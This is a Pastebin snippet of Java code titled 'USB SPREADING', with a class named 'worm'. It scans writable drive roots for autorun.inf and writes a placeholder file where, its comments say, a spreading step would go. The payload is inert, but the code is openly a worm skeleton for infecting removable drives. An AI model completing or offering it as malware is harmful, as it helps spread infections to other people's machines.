Advertisement
rutera

USB SPREADING

Oct 15th, 2013
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.97 KB | None | 0 0
  1. //USB SPREADING
  2. //by rutera.org
  3. import java.io.*;
  4. public class worm {
  5.  
  6.         public static void main(String[] args){
  7.                 File[] roots = File.listRoots();
  8.  
  9.                 if (roots == null) {
  10.                         // you have a different problem here.  Is it even a computer we are talking about?
  11.                 }
  12.  
  13.                 // Iterate through roots
  14.                 for (File root : roots) {
  15.                         if (root.canWrite()) {
  16.                                 //System.out.println(root.getAbsolutePath());
  17.                                 for(int file = 0; file < root.listFiles().length; file++){
  18.                                         //System.out.println(root.listFiles()[file].getPath());
  19.                                         if(root.listFiles()[file].getAbsolutePath().substring(root.listFiles()[file].getAbsolutePath().lastIndexOf("\\")+1).equals("autorun.inf")){
  20.                                                 String fname = root.getAbsolutePath() + "test.txt";
  21.                                                
  22.                                                 try{
  23.                                                         //Execute the spreading now that you have where the USB is
  24.                                                         //This is an example for show
  25.                                                         FileWriter outfile = new FileWriter(fname);
  26.  
  27.                                                         outfile.write("hi");
  28.                                                         outfile.close();
  29.                                                 }catch(IOException e){
  30.                                                         System.out.println("IO Issue");
  31.                                                         return;
  32.  
  33.                                                 }
  34.                                         }
  35.                                 }
  36.  
  37.                         }
  38.                 }
  39.         }
  40.  
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement